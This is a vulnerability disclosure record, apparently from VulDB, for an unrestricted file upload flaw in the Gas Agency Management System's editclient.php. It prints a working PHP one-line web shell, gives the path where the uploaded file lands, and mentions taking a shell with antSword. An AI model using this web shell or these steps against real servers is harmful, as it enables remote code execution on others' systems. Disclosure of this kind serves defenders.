| Title | sourcecodester Gas Agency Management System /gasmark/editclient.php?id=1 exists unrestricted upload |
|---|
| Description | File uploading is not filtered, and uploading a sentence is caused by a Trojan horse getshell
upload shell like this
```php
<?php @eval($_POST['shell']);?>
```
https://github.com/Drun1baby/CVE_Pentest/blob/main/Gas%20Agency%20Management%20System%20CMS/images/oneWorld02.png
Then we check it
then we can see it in /gasmark/assets/myimages/oneWord02.php
Use antSword to getshell
https://github.com/Drun1baby/CVE_Pentest/blob/main/Gas%20Agency%20Management%20System%20CMS/images/getshell02.png |
|---|
| Source | ⚠️ https://www.sourcecodester.com/download-code?nid=15586&title=Gas+Agency+Management+System+Project+in+PHP+Free+Download+with+Free+Source+Code+ |
|---|
| User | Drunkbaby (UID 30821) |
|---|
| Submission | 08/11/2022 14:13 (4 years ago) |
|---|
| Moderation | 08/11/2022 15:36 (1 hour later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 206173 [SourceCodester Gas Agency Management System oneWord.php shell unrestricted upload] |
|---|
| Points | 0 |
|---|